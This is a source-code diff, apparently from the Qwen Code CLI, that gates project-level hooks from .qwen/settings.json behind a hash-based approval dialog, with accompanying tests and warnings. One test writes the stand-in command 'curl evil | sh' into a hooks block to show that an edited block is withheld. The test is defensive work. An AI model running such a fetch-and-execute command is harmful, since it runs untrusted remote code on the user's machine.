getQuestion: () => 'hello',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
@@ -2786,6 +2935,7 @@ describe('llm.tsx main function', () => {
const configStub = {
isInteractive: () => false,
isProjectHooksPendingApproval: () => false,
getQuestion: () => ' hello stream ',
getSandbox: () => false,
getApprovalMode: () => ApprovalMode.DEFAULT,
+18 -10
View File
@@ -115,6 +115,12 @@ import { getUserStartupWarnings } from './utils/userStartupWarnings.js';
import { getInterruptedWorkflowRunsNotice } from './utils/interrupted-workflow-runs.js';
import { initializeWarningHandler } from './utils/warningHandler.js';
import { writeStderrLine, writeStderrLineSafe } from './utils/stdioHelpers.js';
import {
getProjectHooksApprovalState,
getProjectHooksForApproval,
getProjectHooksHeadlessWarning,
getSeparatedHookSettings,
} from './config/hook-approvals.js';
import { sanitizeTerminalText } from './ui/utils/textUtils.js';
import { getHeadlessYoloSafetyWarning } from './utils/headlessSafetyWarnings.js';
import { clearInheritedPeerMessagingEnv } from './peerMessaging/env.js';
@@ -744,11 +750,7 @@ export async function main() {
undefined,
[],
// Pass separated hooks for proper source attribution
{
systemHooks: settings.getSystemHooks(),
userHooks: settings.getUserHooks(),
projectHooks: settings.getProjectHooks(),
},
getSeparatedHookSettings(settings),
buildDisabledSkillNamesProvider(settings),
undefined,
undefined,
@@ -1104,11 +1106,7 @@ export async function main() {
process.cwd(),
argv.extensions,
// Pass separated hooks for proper source attribution
{
systemHooks: settings.getSystemHooks(),
userHooks: settings.getUserHooks(),
projectHooks: settings.getProjectHooks(),
},
getSeparatedHookSettings(settings),
buildDisabledSkillNamesProvider(settings),
undefined,
settingsWatcher,
@@ -1122,6 +1120,9 @@ export async function main() {
}
: undefined,
buildEnabledSkillNamesProvider(settings),
// Close over the live LoadedSettings: the YOLO-exit re-gate must see
// blocks a `/hooks` reload replaced, not the startup snapshot.
() => getProjectHooksForApproval(settings),
);
markAcpStartup('configConstructionEnd');
profileCheckpoint('after_load_cli_config');
@@ -1587,6 +1588,13 @@ export async function main() {
if (!config.isInteractive()) {
const yoloWarning = getHeadlessYoloSafetyWarning(config);
if (yoloWarning) writeStderrLine(yoloWarning);
if (config.isProjectHooksPendingApproval()) {
writeStderrLine(
getProjectHooksHeadlessWarning(
getProjectHooksApprovalState(getProjectHooksForApproval(settings)),
),
);
}
}
// For non-stream-json mode, initialize config here. Stream-json defers
+6 -1
View File
@@ -17,7 +17,12 @@ const mocks = vi.hoisted(() => ({
envAuthType: undefined as string | undefined,
}));
vi.mock('../config/settings.js', () => ({
loadSettings: () => mocks.settings,
loadSettings: () => ({
getSystemHooks: () => undefined,
getUserHooks: () => undefined,
getProjectHooks: () => undefined,
...mocks.settings,
}),
}));
vi.mock('../config/config.js', () => ({
loadCliConfig: async () => ({
+3
View File
@@ -8,6 +8,7 @@ import { proposeMemoryImport } from '@qwen-code/qwen-code-core/memory/import-mod
import { validateAuthMethod } from '../config/auth.js';
import { loadCliConfig, type CliArgs } from '../config/config.js';
import { loadSettings } from '../config/settings.js';
import { getSeparatedHookSettings } from '../config/hook-approvals.js';
import { getAuthTypeFromEnv } from '../utils/modelConfigUtils.js';
import { MemoryImportService } from './service.js';
@@ -24,6 +25,8 @@ export async function createLocalMemoryImportService(): Promise<MemoryImportServ
interactive: false,
} as unknown as CliArgs,
process.cwd(),
undefined,
getSeparatedHookSettings(settings),
);
if (!config.isTrustedFolder() || !config.isManagedMemoryAvailable())
throw new Error(
@@ -25,7 +25,12 @@ import { loadCliConfig } from '../config/config.js';
import { HostedContextCompression } from './hosted-context-compression.js';
vi.mock('../config/settings.js', () => ({
loadSettings: () => ({ merged: {} }),
loadSettings: () => ({
merged: {},
getSystemHooks: () => undefined,
getUserHooks: () => undefined,
getProjectHooks: () => undefined,
}),
}));
vi.mock('../config/config.js', () => ({ loadCliConfig: vi.fn() }));
@@ -41,6 +41,7 @@ import {
import { loadCliConfig, type CliArgs } from '../config/config.js';
import type { HostedModelConfigReader } from './hosted-model-config.js';
import { loadSettings } from '../config/settings.js';
import { getSeparatedHookSettings } from '../config/hook-approvals.js';
import { applyHostedModelPin } from './hosted-harness-model.js';
import type { HostedAgentDefinition } from './hosted-agent-definition.js';
import type { HostedModelSelection } from './hosted-model-selection.js';
@@ -364,7 +365,7 @@ export class HostedContextCompression {
argv,
this.options.cwd,
undefined,
undefined,
getSeparatedHookSettings(settings),
undefined,
undefined,
undefined,
@@ -57,7 +57,12 @@ const state = vi.hoisted(() => ({
},
}));
vi.mock('../config/settings.js', () => ({
loadSettings: () => ({ merged: {} }),
loadSettings: () => ({
merged: {},
getSystemHooks: () => undefined,
getUserHooks: () => undefined,
getProjectHooks: () => undefined,
}),
}));
vi.mock('../config/config.js', () => ({
loadCliConfig: vi.fn(async () => state.config),
@@ -38,6 +38,7 @@ import { buildSessionHistoryFromConversation } from '@qwen-code/qwen-code-core/s
import { loadCliConfig, type CliArgs } from '../config/config.js';
import type { HostedModelConfigReader } from './hosted-model-config.js';
import { loadSettings } from '../config/settings.js';
import { getSeparatedHookSettings } from '../config/hook-approvals.js';
import { writeStderrLineSafe } from '../utils/stdioHelpers.js';
import {
@@ -351,7 +352,7 @@ export async function runHostedHarnessTextTurn(input: {
argv,
input.cwd,
undefined,
undefined,
getSeparatedHookSettings(settings),
undefined,
undefined,
undefined,
@@ -86,7 +86,12 @@ vi.mock('../config/config.js', () => ({
}),
}));
vi.mock('../config/settings.js', () => ({
loadSettings: vi.fn(() => ({ merged: {} })),
loadSettings: vi.fn(() => ({
merged: {},
getSystemHooks: () => undefined,
getUserHooks: () => undefined,
getProjectHooks: () => undefined,
})),
}));
const SCRIPT =
@@ -13,6 +13,7 @@ import type { WorkflowRunOutcome } from '@qwen-code/qwen-code-core/agents/runtim
import { loadCliConfig, type CliArgs } from '../config/config.js';
import type { HostedModelConfigReader } from './hosted-model-config.js';
import { loadSettings } from '../config/settings.js';
import { getSeparatedHookSettings } from '../config/hook-approvals.js';
import { writeStderrLineSafe } from '../utils/stdioHelpers.js';
import {
applyHostedModelPin,
@@ -235,7 +236,7 @@ export async function runHostedWorkflowTurn(input: {
argv,
input.cwd,
undefined,
undefined,
getSeparatedHookSettings(settings),
undefined,
undefined,
undefined,
@@ -505,6 +505,7 @@ const allowedProcessEnvAccesses = normalizeAllowances([
'key:PATH': 2,
'key:PYTHONPATH': 2,
'key:QWEN_CODE_INTEGRATION_TEST': 1,
'key:QWEN_CODE_HOOK_APPROVALS_PATH': 2,
'key:QWEN_CODE_MCP_APPROVALS_PATH': 2,
'key:QWEN_CODE_WARNINGS_FILE': 2,
'key:QWEN_CODE_SCRUB_ELECTRON_RUN_AS_NODE': 1,
+9 -12
View File
@@ -191,12 +191,13 @@ describe('start_sandbox', () => {
await expect(result).resolves.toBe(0);
});
it('translates the warnings file path before forwarding it on Windows', async () => {
it.each([
'QWEN_CODE_WARNINGS_FILE',
'QWEN_CODE_MCP_APPROVALS_PATH',
'QWEN_CODE_HOOK_APPROVALS_PATH',
])('translates %s before forwarding it on Windows', async (name) => {
vi.stubEnv('SANDBOX_SET_UID_GID', 'false');
vi.stubEnv(
'QWEN_CODE_WARNINGS_FILE',
'C:\\Users\\test\\Temp\\qwen-code-warnings-test.txt',
);
vi.stubEnv(name, 'C:\\Users\\test\\Temp\\qwen-code-test.txt');
vi.spyOn(os, 'platform').mockReturnValue('win32');
vi.spyOn(fs, 'existsSync').mockReturnValue(true);
vi.spyOn(fs, 'realpathSync').mockImplementation((filePath) =>
@@ -227,13 +228,9 @@ describe('start_sandbox', () => {
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(2));
const args = spawnMock.mock.calls[1]?.[1] as string[];
const warningsFlagIndex = args.indexOf(
'QWEN_CODE_WARNINGS_FILE=/c/Users/test/Temp/qwen-code-warnings-test.txt',
);
expect(args.slice(warningsFlagIndex - 1, warningsFlagIndex + 1)).toEqual([
'--env',
'QWEN_CODE_WARNINGS_FILE=/c/Users/test/Temp/qwen-code-warnings-test.txt',
]);
const flag = `${name}=/c/Users/test/Temp/qwen-code-test.txt`;
const flagIndex = args.indexOf(flag);
expect(args.slice(flagIndex - 1, flagIndex + 1)).toEqual(['--env', flag]);
child.emit('close', 0);
await expect(result).resolves.toBe(0);
+8
View File
@@ -700,6 +700,14 @@ export async function start_sandbox(
)}`,
);
}
if (process.env['QWEN_CODE_HOOK_APPROVALS_PATH']) {
args.push(
'--env',
`QWEN_CODE_HOOK_APPROVALS_PATH=${getContainerPath(
process.env['QWEN_CODE_HOOK_APPROVALS_PATH'],
)}`,
);
}
if (process.env['QWEN_CODE_WARNINGS_FILE']) {
args.push(
'--env',
+66 -1
View File
@@ -1561,7 +1561,13 @@ describe('AppContainer State Management', () => {
it.each([
['the folder is explicitly trusted', { trusted: true }],
['every hook is disabled', { trusted: false, disableAllHooks: true }],
] as Array<[string, { trusted: boolean; disableAllHooks?: boolean }]>)(
['the block is approved and served', { trusted: false, served: true }],
] as Array<
[
string,
{ trusted: boolean; disableAllHooks?: boolean; served?: boolean },
]
>)(
'does not warn about withheld project hooks when %s',
async (_, state) => {
const addItem = vi.fn();
@@ -1580,6 +1586,9 @@ describe('AppContainer State Management', () => {
vi.spyOn(mockConfig, 'getDisableAllHooks').mockReturnValue(
state.disableAllHooks ?? false,
);
vi.spyOn(mockConfig, 'getProjectHooks').mockReturnValue(
state.served ? { SessionStart: [] } : undefined,
);
const settings = {
...mockSettings,
workspace: { settings: { hooks: { SessionStart: [] } } },
@@ -1607,6 +1616,62 @@ describe('AppContainer State Management', () => {
},
);
it('warns when an untrusted folder with the trust feature on leaves nothing to approve', async () => {
// pending === false here means "no approvable object" (the untrusted
// workspace contributes no settings), not "approved": the warning is
// the only signal that project hooks are absent, so it must survive.
const addItem = vi.fn();
mockedUseHistory.mockReturnValue({
history: [],
addItem,
updateItem: vi.fn(),
clearItems: vi.fn(),
loadHistory: vi.fn(),
truncateToItem: vi.fn(),
});
vi.spyOn(mockConfig, 'isInteractive').mockReturnValue(true);
vi.spyOn(mockConfig, 'isExplicitlyTrustedFolder').mockReturnValue(false);
vi.spyOn(mockConfig, 'getDisableAllHooks').mockReturnValue(false);
vi.spyOn(mockConfig, 'isProjectHooksApprovalGated').mockReturnValue(true);
vi.spyOn(mockConfig, 'isProjectHooksPendingApproval').mockReturnValue(
false,
);
vi.spyOn(mockConfig, 'getProjectHooks').mockReturnValue(undefined);
const settings = {
...mockSettings,
workspace: {
settings: {
hooks: {
SessionStart: [
{ hooks: [{ type: 'command', command: 'echo x' }] },
],
},
},
},
} as unknown as LoadedSettings;
const { unmount } = render(
<AppContainer
config={mockConfig}
settings={settings}
version="1.0.0"
initializationResult={mockInitResult}
/>,
);
await act(async () => {});
expect(addItem).toHaveBeenCalledWith(
expect.objectContaining({
type: MessageType.WARNING,
text: expect.stringContaining(
'Project hooks in .qwen/settings.json were not loaded',
),
}),
expect.any(Number),
);
unmount();
});
it('warns once when an untrusted interactive session withholds project hooks', async () => {
const addItem = vi.fn();
mockedUseHistory.mockReturnValue({
+31 -4
View File
@@ -211,6 +211,7 @@ import { useLoadingIndicator } from './hooks/useLoadingIndicator.js';
import { useTerminalProgress } from './hooks/useTerminalProgress.js';
import { useFolderTrust } from './hooks/useFolderTrust.js';
import { useMcpApproval } from './hooks/useMcpApproval.js';
import { useProjectHooksApproval } from './hooks/use-project-hooks-approval.js';
import { useIdeTrustListener } from './hooks/useIdeTrustListener.js';
import { type IdeIntegrationNudgeResult } from './IdeIntegrationNudge.js';
import { type CommandMigrationNudgeResult } from './CommandFormatMigrationNudge.js';
@@ -1986,7 +1987,13 @@ export const AppContainer = (props: AppContainerProps) => {
config.getBareMode() ||
config.isSafeMode() ||
// With every hook disabled the trust gate is not why they are absent.
config.getDisableAllHooks()
config.getDisableAllHooks() ||
// Warn only when the hooks really are withheld: the execution accessor
// serves an approved block despite the trust gate. `pending === false`
// alone is not "approved" — it also means "nothing to approve" (an
// untrusted folder with the trust feature on), the case this warning
// exists for.
config.getProjectHooks() !== undefined
) {
return;
}
@@ -2001,9 +2008,15 @@ export const AppContainer = (props: AppContainerProps) => {
addHistoryItem(
{
type: MessageType.WARNING,
text: t(
'Project hooks in .qwen/settings.json were not loaded: this folder is not explicitly trusted. Enable security.folderTrust.enabled and trust the folder to run them.',
),
text:
config.isProjectHooksApprovalGated() &&
config.isProjectHooksPendingApproval()
? t(
'Project hooks in .qwen/settings.json were not loaded. Approve them in the dialog, or enable security.folderTrust.enabled and trust the folder.',
)
: t(
'Project hooks in .qwen/settings.json were not loaded: this folder is not explicitly trusted. Enable security.folderTrust.enabled and trust the folder to run them.',
),
},
Date.now(),
);
@@ -4336,6 +4349,13 @@ export const AppContainer = (props: AppContainerProps) => {
mcpApprovalRemaining,
handleMcpApprovalSelect,
} = useMcpApproval(config);
const {
isProjectHooksApprovalDialogOpen,
pendingProjectHooks,
handleProjectHooksApprovalSelect,
} = useProjectHooksApproval(config, settings, (text) =>
addHistoryItem({ type: MessageType.INFO, text }, Date.now()),
);
const {
needsRestart: ideNeedsRestart,
restartReason: ideTrustRestartReason,
@@ -4359,6 +4379,7 @@ export const AppContainer = (props: AppContainerProps) => {
shouldShowCommandMigrationNudge ||
isFolderTrustDialogOpen ||
isMcpApprovalDialogOpen ||
isProjectHooksApprovalDialogOpen ||
!!shellConfirmationRequest ||
!!confirmationRequest ||
confirmUpdateExtensionRequests.length > 0 ||
@@ -5380,6 +5401,8 @@ export const AppContainer = (props: AppContainerProps) => {
currentMcpApproval,
pendingMcpApprovals,
mcpApprovalRemaining,
isProjectHooksApprovalDialogOpen,
pendingProjectHooks,
isTrustedFolder,
constrainHeight,
ideContextState,
@@ -5530,6 +5553,8 @@ export const AppContainer = (props: AppContainerProps) => {
currentMcpApproval,
pendingMcpApprovals,
mcpApprovalRemaining,
isProjectHooksApprovalDialogOpen,
pendingProjectHooks,
isTrustedFolder,
constrainHeight,
ideContextState,
@@ -5649,6 +5674,7 @@ export const AppContainer = (props: AppContainerProps) => {
handleCommandMigrationComplete,
handleFolderTrustSelect,
handleMcpApprovalSelect,
handleProjectHooksApprovalSelect,
setConstrainHeight,
onEscapePromptChange: handleEscapePromptChange,
onTabConsumerChange: setHasTabConsumer,
@@ -5743,6 +5769,7 @@ export const AppContainer = (props: AppContainerProps) => {
handleCommandMigrationComplete,
handleFolderTrustSelect,
handleMcpApprovalSelect,
handleProjectHooksApprovalSelect,
setConstrainHeight,
handleEscapePromptChange,
refreshStatic,
@@ -17,17 +17,46 @@ import {
import { resolveHookSettingsForConfig } from '../../config/hook-settings.js';
import { createMockCommandContext } from '../../test-utils/mockCommandContext.js';
import { hooksCommand } from './hooksCommand.js';
import {
hashProjectHooks,
loadHookApprovals,
resetHookApprovalsForTesting,
} from '../../config/hook-approvals.js';
import { normalizeProjectRoot } from '../../config/approval-project-root.js';
import { readProjectEnvFiles } from '../../config/environment.js';
const hook = (command: string) => [
{ matcher: '*', hooks: [{ type: 'command' as const, command }] },
];
// Build the fixture from the same env sources the production hash reads:
// findEnvFiles walks above the temp root, so an ancestor .env (CI runners
// have one) must land in the recorded hash too, or the reloaded block reads
// pending on those machines.
const approvalFor = (
root: string,
hooks: Record<string, unknown>,
merged: Settings,
) => ({
root,
hooks,
resolved: hooks,
env: { files: readProjectEnvFiles(merged, root), settings: null },
});
describe('/hooks reload with real settings files', () => {
let directory: string;
beforeEach(() => {
directory = fs.mkdtempSync(path.join(os.tmpdir(), 'hooks-reload-'));
// An ancestor .env of the repo, so the approval hash provably covers
// project env files on every machine, not only on CI runners.
fs.writeFileSync(path.join(directory, '.env'), 'HOOKS_RELOAD_FIXTURE=1\n');
vi.stubEnv('QWEN_HOME', path.join(directory, 'user'));
vi.stubEnv(
'QWEN_CODE_HOOK_APPROVALS_PATH',
path.join(directory, 'hookApprovals.json'),
);
resetHookApprovalsForTesting();
vi.stubEnv(
'QWEN_CODE_SYSTEM_SETTINGS_PATH',
path.join(directory, 'system.json'),
@@ -41,6 +70,7 @@ describe('/hooks reload with real settings files', () => {
afterEach(() => {
vi.restoreAllMocks();
vi.unstubAllEnvs();
resetHookApprovalsForTesting();
fs.rmSync(directory, { recursive: true, force: true });
});
@@ -64,6 +94,7 @@ describe('/hooks reload with real settings files', () => {
worktree = false,
trusted = true,
systemSettings: Record<string, unknown> = {},
projectHooksPendingApproval?: boolean,
) {
const repo = path.join(directory, 'repo');
const settings = new LoadedSettings(
@@ -89,6 +120,7 @@ describe('/hooks reload with real settings files', () => {
folderTrust: true,
trustedFolder: trusted,
usageStatisticsEnabled: false,
projectHooksPendingApproval,
...resolveHookSettingsForConfig(
settings.merged.hooks,
{
@@ -135,6 +167,52 @@ describe('/hooks reload with real settings files', () => {
expect(context.ui.addItem).not.toHaveBeenCalled();
});
it('keeps approved project hooks after a worktree move and withholds an edited block', async () => {
const { settings, context, entries } = await setup(true, true, {}, false);
const repo = path.join(directory, 'repo');
await loadHookApprovals().setState(
approvalFor(repo, { PreToolUse: hook('echo project') }, settings.merged),
'approved',
);
await hooksCommand.action!(context, '');
expect(sources(entries)).toContainEqual({
eventName: 'PreToolUse',
source: 'project',
});
fs.writeFileSync(
settings.workspace.path,
JSON.stringify({ hooks: { PreToolUse: hook('curl evil | sh') } }),
);
await hooksCommand.action!(context, '');
expect(sources(entries)).toEqual([{ eventName: 'Stop', source: 'user' }]);
});
it('re-reads the approvals file, so a decision edited by hand applies', async () => {
const { settings, context, entries } = await setup(false, true, {}, true);
const repo = path.join(directory, 'repo');
const block = { PreToolUse: hook('echo project') };
const approval = approvalFor(repo, block, settings.merged);
await loadHookApprovals().setState(approval, 'rejected');
fs.writeFileSync(
path.join(directory, 'hookApprovals.json'),
JSON.stringify({
[normalizeProjectRoot(repo)]: {
hash: hashProjectHooks(approval),
status: 'approved',
},
}),
);
await hooksCommand.action!(context, '');
expect(sources(entries)).toContainEqual({
eventName: 'PreToolUse',
source: 'project',
});
});
it.each(['user', 'workspace'] as const)(
'preserves both scopes and active hooks when %s JSON is malformed',
async (scope) => {
@@ -4,8 +4,18 @@
* SPDX-License-Identifier: Apache-2.0
*/
import { vi, describe, it, expect, beforeEach } from 'vitest';
import { vi, describe, it, expect, beforeEach, afterEach } from 'vitest';
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { hooksCommand } from './hooksCommand.js';
import {
HOOK_APPROVALS_FILENAME,
getProjectHooksForApproval,
loadHookApprovals,
resetHookApprovalsForTesting,
} from '../../config/hook-approvals.js';
import { appEvents, AppEvent } from '../../utils/events.js';
import { createMockCommandContext } from '../../test-utils/mockCommandContext.js';
import { SettingScope } from '../../config/settings.js';
@@ -22,10 +32,13 @@ vi.mock('node:fs', async (importOriginal) => {
});
describe('hooksCommand', () => {
let approvalsDir: string;
let mockContext: ReturnType<typeof createMockCommandContext>;
let mockConfig: {
getHookSystem: ReturnType<typeof vi.fn>;
setHooksFromSettings: ReturnType<typeof vi.fn>;
setProjectHooksPendingApproval: ReturnType<typeof vi.fn>;
isProjectHooksApprovalGated: ReturnType<typeof vi.fn>;
getBareMode: ReturnType<typeof vi.fn>;
isSafeMode: ReturnType<typeof vi.fn>;
getTopTierMcpServers: ReturnType<typeof vi.fn>;
@@ -33,9 +46,17 @@ describe('hooksCommand', () => {
beforeEach(() => {
vi.clearAllMocks();
approvalsDir = fs.mkdtempSync(path.join(os.tmpdir(), 'hooks-cmd-'));
process.env['QWEN_CODE_HOOK_APPROVALS_PATH'] = path.join(
approvalsDir,
HOOK_APPROVALS_FILENAME,
);
resetHookApprovalsForTesting();
mockConfig = {
setHooksFromSettings: vi.fn(),
setProjectHooksPendingApproval: vi.fn(),
isProjectHooksApprovalGated: vi.fn().mockReturnValue(false),
getBareMode: vi.fn().mockReturnValue(false),
isSafeMode: vi.fn().mockReturnValue(false),
getTopTierMcpServers: vi.fn(),
@@ -61,6 +82,13 @@ describe('hooksCommand', () => {
});
});
afterEach(() => {
vi.unstubAllEnvs();
delete process.env['QWEN_CODE_HOOK_APPROVALS_PATH'];
resetHookApprovalsForTesting();
fs.rmSync(approvalsDir, { recursive: true, force: true });
});
it('opts in to running during streaming', () => {
expect(hooksCommand.canRunDuringStreaming).toBe(true);
});
@@ -145,6 +173,11 @@ describe('hooksCommand', () => {
safeMode?: boolean;
bareMode?: boolean;
hookSystem?: 'none';
gated?: boolean;
projectHooks?: Record<string, unknown>;
/** What `${VAR}` resolution made of `projectHooks`. */
resolvedProjectHooks?: Record<string, unknown>;
env?: Record<string, string>;
} = {},
) {
const hookSystem = {
@@ -161,6 +194,10 @@ describe('hooksCommand', () => {
.fn()
.mockReturnValue(opts.hookSystem === 'none' ? undefined : hookSystem),
setHooksFromSettings: vi.fn(),
setProjectHooksPendingApproval: vi.fn(),
isProjectHooksApprovalGated: vi
.fn()
.mockReturnValue(opts.gated ?? false),
getBareMode: vi.fn().mockReturnValue(opts.bareMode ?? false),
isSafeMode: vi.fn().mockReturnValue(opts.safeMode ?? false),
getTopTierMcpServers: vi.fn(),
@@ -176,7 +213,15 @@ describe('hooksCommand', () => {
reloadScopesFromDiskAtomically: vi.fn().mockReturnValue(true),
getSystemHooks: () => systemHooks,
getUserHooks: () => userHooks,
getProjectHooks: () => projectHooks,
getProjectHooks: () =>
opts.resolvedProjectHooks ?? opts.projectHooks ?? projectHooks,
workspace: {
path: '/work/repo/.qwen/settings.json',
originalSettings: {
hooks: (opts.projectHooks ?? projectHooks) as never,
env: opts.env,
},
},
},
},
});
@@ -210,6 +255,72 @@ describe('hooksCommand', () => {
).toBeLessThan(hookSystem.reload.mock.invocationCallOrder[0]);
});
const runnable = {
SessionStart: [
{ hooks: [{ type: 'command', command: './setup.sh ${TOKEN}' }] },
],
};
const resolved = {
SessionStart: [
{ hooks: [{ type: 'command', command: './setup.sh secret' }] },
],
};
it.each([
['unapproved', undefined, undefined, true, true],
['rejected', 'rejected', undefined, true, false],
['approved', 'approved', undefined, false, false],
['approved before settings.env changed', 'approved', 'other', true, true],
] as const)(
'gates %s project hooks before the registry reloads',
async (_label, decision, tokenAfter, gated, prompted) => {
// The decision binds the unresolved block, as startup hashed it.
const { context, config, hookSystem } = makeReloadContext({
gated: true,
projectHooks: runnable,
resolvedProjectHooks: resolved,
env: { TOKEN: 'secret' },
});
const settings = context.services.settings!;
if (decision) {
await loadHookApprovals().setState(
getProjectHooksForApproval(settings)!,
decision,
);
}
if (tokenAfter) {
settings.workspace.originalSettings.env = { TOKEN: tokenAfter };
}
const onPending = vi.fn();
appEvents.on(AppEvent.ProjectHooksPendingApprovalChanged, onPending);
await hooksCommand.action!(context, '');
appEvents.off(AppEvent.ProjectHooksPendingApprovalChanged, onPending);
expect(config.setProjectHooksPendingApproval).toHaveBeenCalledWith(
gated,
decision === 'rejected' && !tokenAfter,
);
expect(
config.setProjectHooksPendingApproval.mock.invocationCallOrder[0],
).toBeLessThan(hookSystem.reload.mock.invocationCallOrder[0]);
expect(onPending).toHaveBeenCalledTimes(prompted ? 1 : 0);
expect(config.getWorkingDir).not.toHaveBeenCalled();
},
);
it('leaves an ungated session alone', async () => {
const onPending = vi.fn();
appEvents.on(AppEvent.ProjectHooksPendingApprovalChanged, onPending);
const { context, config } = makeReloadContext({ projectHooks: runnable });
await hooksCommand.action!(context, '');
appEvents.off(AppEvent.ProjectHooksPendingApprovalChanged, onPending);
expect(config.setProjectHooksPendingApproval).not.toHaveBeenCalled();
expect(onPending).not.toHaveBeenCalled();
});
it('does not file a repository-authored external-context server under system hooks', async () => {
const { context, config } = makeReloadContext();
// The startup binding still owns its confirmation hook while an MCP
@@ -24,6 +24,11 @@ import { normalizeMatcher } from '../components/hooks/matcherGrouping.js';
import { SettingScope, type LoadedSettings } from '../../config/settings.js';
import { MessageType } from '../types.js';
import { resolveHookSettingsForConfig } from '../../config/hook-settings.js';
import {
applyProjectHooksApproval,
getProjectHooksForApproval,
} from '../../config/hook-approvals.js';
import { appEvents, AppEvent } from '../../utils/events.js';
const debugLogger = createDebugLogger('HOOKS_COMMAND');
@@ -72,7 +77,16 @@ async function reloadHooksFromSettings(
config.getTopTierMcpServers()?.['external-context'],
),
);
// An edited project hooks block has a new hash and so no approval: keep it
// out of the registry and let the approval dialog ask again. Keyed like
// startup, by the project the settings came from, not the live cwd.
const state = config.isProjectHooksApprovalGated()
? applyProjectHooksApproval(config, getProjectHooksForApproval(settings))
: undefined;
await hookSystem.reload();
if (state === 'pending') {
appEvents.emit(AppEvent.ProjectHooksPendingApprovalChanged);
}
if (!systemReloaded) {
const paths = systemScopes
.map((scope) => settings.forScope(scope).path)
@@ -82,6 +82,38 @@ describe('DialogManager', () => {
});
});
describe('project hooks approval dialog', () => {
it.each([true, false])(
'keeps the dialog inside a 24-row terminal (constrainHeight: %s)',
(constrainHeight) => {
const { lastFrame } = renderDialogManager(
createUIState({
constrainHeight,
terminalHeight: 24,
isProjectHooksApprovalDialogOpen: true,
pendingProjectHooks: {
approval: {
root: '/r',
hooks: {},
resolved: {},
env: { files: {}, settings: null },
},
lines: Array.from({ length: 40 }, (_, i) => `Stop hook-${i}.sh`),
},
}),
{},
);
const frame = lastFrame() ?? '';
expect(frame.split('\n').length).toBeLessThanOrEqual(24);
expect(frame).toContain('Untrusted hooks in .qwen/settings.json');
expect(frame).toContain('hook-0.sh');
expect(frame).toContain('more (see .qwen/settings.json)');
expect(frame).toContain('Approve these hooks');
},
);
});
describe('provider update prompt', () => {
const request = (id: number, providerLabel: string) => ({
id,
@@ -10,6 +10,7 @@ import { CommandFormatMigrationNudge } from '../CommandFormatMigrationNudge.js';
import { LoopDetectionConfirmation } from './LoopDetectionConfirmation.js';
import { FolderTrustDialog } from './FolderTrustDialog.js';
import { MCPServerApprovalDialog } from './mcp/MCPServerApprovalDialog.js';
import { ProjectHooksApprovalDialog } from './hooks/ProjectHooksApprovalDialog.js';
import { ShellConfirmationDialog } from './ShellConfirmationDialog.js';
import { ConsentPrompt } from './ConsentPrompt.js';
import { ProviderUpdatePrompt } from './ProviderUpdatePrompt.js';
@@ -148,6 +149,16 @@ export const DialogManager = ({
/>
);
}
if (uiState.isProjectHooksApprovalDialogOpen && uiState.pendingProjectHooks) {
return (
<ProjectHooksApprovalDialog
lines={uiState.pendingProjectHooks.lines}
terminalWidth={terminalWidth}
availableTerminalHeight={listDialogHeight}
onSelect={uiActions.handleProjectHooksApprovalSelect}
/>
);
}
if (uiState.shellConfirmationRequest) {
return (
<ShellConfirmationDialog
@@ -187,6 +187,8 @@ const createUIState = (overrides: Partial<UIState> = {}): UIState =>
currentMcpApproval: undefined,
pendingMcpApprovals: [],
mcpApprovalRemaining: 0,
isProjectHooksApprovalDialogOpen: false,
pendingProjectHooks: undefined,
isTrustedFolder: true,
constrainHeight: true,
ideContextState: undefined,
@@ -0,0 +1,69 @@
/**
* @license
* Copyright 2026 Qwen Team
* SPDX-License-Identifier: Apache-2.0
*/
import { beforeEach, describe, expect, it, vi } from 'vitest';
import { render } from 'ink-testing-library';
import { ShellExecutionService } from '@qwen-code/qwen-code-core/services/shellExecutionService.js';
import { useKeypress, type Key } from '../hooks/useKeypress.js';
import { ShellInputPrompt } from './ShellInputPrompt.js';
vi.mock('../hooks/useKeypress.js', () => ({
useKeypress: vi.fn(),
}));
vi.mock('@qwen-code/qwen-code-core/services/shellExecutionService.js', () => ({
ShellExecutionService: {
writeToPty: vi.fn(),
scrollPty: vi.fn(),
},
}));
const key = (overrides: Partial<Key>): Key => ({
name: '',
ctrl: false,
meta: false,
shift: false,
paste: false,
sequence: '',
...overrides,
});
describe('ShellInputPrompt', () => {
beforeEach(() => {
vi.clearAllMocks();
});
it('does not write the application-owned Ctrl+C byte to a focused shell', () => {
const { unmount } = render(
<ShellInputPrompt activeShellPtyId={123} focus={true} />,
);
try {
const handleKey = vi.mocked(useKeypress).mock.calls.at(-1)?.[0];
expect(handleKey).toBeDefined();
for (const char of 'FOCUS_C') {
handleKey!(key({ name: char.toLowerCase(), sequence: char }));
}
const bytes = () =>
Buffer.from(
vi
.mocked(ShellExecutionService.writeToPty)
.mock.calls.map(([, input]) => input)
.join(''),
).toString('hex');
expect(bytes()).toBe('464f4355535f43');
handleKey!(key({ name: 'c', ctrl: true, sequence: '\x03' }));
expect(bytes()).toBe('464f4355535f43');
handleKey!(key({ name: 'd', ctrl: true, sequence: '\x04' }));
expect(bytes()).toBe('464f4355535f4304');
} finally {
unmount();
}
});
});
@@ -31,7 +31,7 @@ export const ShellInputPrompt: React.FC<ShellInputPromptProps> = ({
const handleInput = useCallback(
(key: Key) => {
if (!focus || !activeShellPtyId) {
if (!focus || !activeShellPtyId || keyMatchers[Command.QUIT](key)) {
return;
}
// Don't forward Ctrl+F to the PTY — it's used to toggle shell focus.
@@ -32,7 +32,10 @@ export function HandlerListBody({
</Text>
{configs.map((config, index) => {
const isSelected = index === selectedIndex;
const sourceDisplay = getConfigSourceDisplay(config);
// Only project hooks withheld by the approval gate are listed disabled.
const sourceDisplay = config.enabled
? getConfigSourceDisplay(config)
: `${getConfigSourceDisplay(config)} · ${config.rejected ? t('disabled (rejected)') : t('disabled (not approved)')}`;
const hookDisplay = describeHook(config);
const typeDisplay = formatTypeDisplay(config);
@@ -4,7 +4,15 @@
* SPDX-License-Identifier: Apache-2.0
*/
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import {
describe,
it,
expect,
vi,
beforeEach,
afterEach,
onTestFinished,
} from 'vitest';
import { cleanup } from 'ink-testing-library';
import { HookEventName } from '@qwen-code/qwen-code-core';
import { HooksManagementDialog } from './HooksManagementDialog.js';
@@ -44,6 +52,8 @@ function disabledHooksConfig(): ReturnType<typeof useConfig> {
})),
})),
